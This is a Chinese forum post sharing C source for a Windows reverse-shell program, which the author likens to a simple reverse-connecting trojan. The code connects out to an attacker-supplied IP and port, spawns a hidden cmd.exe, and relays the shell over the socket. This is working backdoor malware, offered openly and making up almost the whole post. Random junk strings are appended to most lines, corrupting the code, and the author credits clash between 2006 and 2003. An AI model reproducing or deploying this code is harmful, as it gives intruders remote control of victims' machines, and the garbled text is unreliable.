这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :kME
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/* ============================== 8/Et&TJ`
Rebound port in Windows NT uQ:ut(
By wind,2006/7 VD9
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===============================*/ j*;*Ka w
#include Z7/vrME6
#include bK$/,,0=X/
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#pragma comment(lib,"wsock32.lib") 'GV&]
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void OutputShell(); \#\`!L[1
SOCKET sClient; F* 3G_V
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; TnN^2:cU
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void main(int argc,char **argv) 9,S,NvSq
{ BGB,Gb
WSADATA stWsaData; xHEVR!&c4
int nRet; 0M#N=%31
SOCKADDR_IN stSaiClient,stSaiServer; 2j8Cv:{Nn%
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if(argc != 3) +Fk4{p
{ 9"WRI Ht'c
printf("Useage:\n\rRebound DestIP DestPort\n"); ?@Z7O.u
return; YHETI~'j.
} W ;fH&r)d@
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WSAStartup(MAKEWORD(2,2),&stWsaData); Q<RT12|`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ltNuLZ
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stSaiClient.sin_family = AF_INET; I`/]@BdgY
stSaiClient.sin_port = htons(0); .HyjL5r-
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }Q`/K;yq
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y[f,ia
{ b%3Q$wIJ6
printf("Bind Socket Failed!\n"); W:`5nj]H9
return; 6b%`^B\
} e.h~[^zg
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stSaiServer.sin_family = AF_INET; tW:W&|q
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xh{mca>?G
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i Bi7|
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D8k*0ei&
{ =Ml|l$
printf("Connect Error!"); a;56k
return; uAp
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} q|n97.vD
OutputShell(); ~@%(RMJm&
} C}Rs[
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void OutputShell() btUq
{ jVX._bEGX
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; <Cu'!h_nL
OSVERSIONINFO stOsversionInfo; ;JAK[o8i
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i B%XBR
STARTUPINFO stStartupInfo; dj3|f{kg{
char *szShell; &K06}[J
PROCESS_INFORMATION stProcessInformation; +*n]tlk
unsigned long lBytesRead; USE [N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P\.WXe#j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); cL?\^K)
stSecurityAttributes.lpSecurityDescriptor = 0; D._{E*vg
stSecurityAttributes.bInheritHandle = TRUE; U%Dit
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w-J"zC
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <H<!ht%q3
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .H ,pO#{;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Dp^"J85}
stStartupInfo.wShowWindow = SW_HIDE; E
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stStartupInfo.hStdInput = hReadPipe; @o`sf-8x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; +IvNyj|
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GetVersionEx(&stOsversionInfo); <[bQo&B2 E
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switch(stOsversionInfo.dwPlatformId) 8098y,mQe
{ }(m1ql
case 1: 4/b(Y4$,[r
szShell = "command.com"; ,cLH*@
break; g&Z"_7L~
default: N A8
sN
szShell = "cmd.exe"; _jW>dU^B
break; 9p5= _
} yGRR8F5>(
M/*Bh,M`
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);
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send(sClient,szMsg,77,0); ^#2xQ5h
while(1) Umij!=GPG^
{ D2{L=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2v4W6R
if(lBytesRead) N5yJ'i~,M
{ >A<Df
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *E.LP1xP
send(sClient,szBuff,lBytesRead,0); +.=1^+a
} g#w`J\iz
else s}s|~
{ k<!<<,Z
lBytesRead=recv(sClient,szBuff,1024,0); )u<eO FI+
if(lBytesRead<=0) break; C B6A}m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); vlvvi()
} Cb4_ ?OR0
} ka/nQ~_#<
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return; I4ebkP gf
}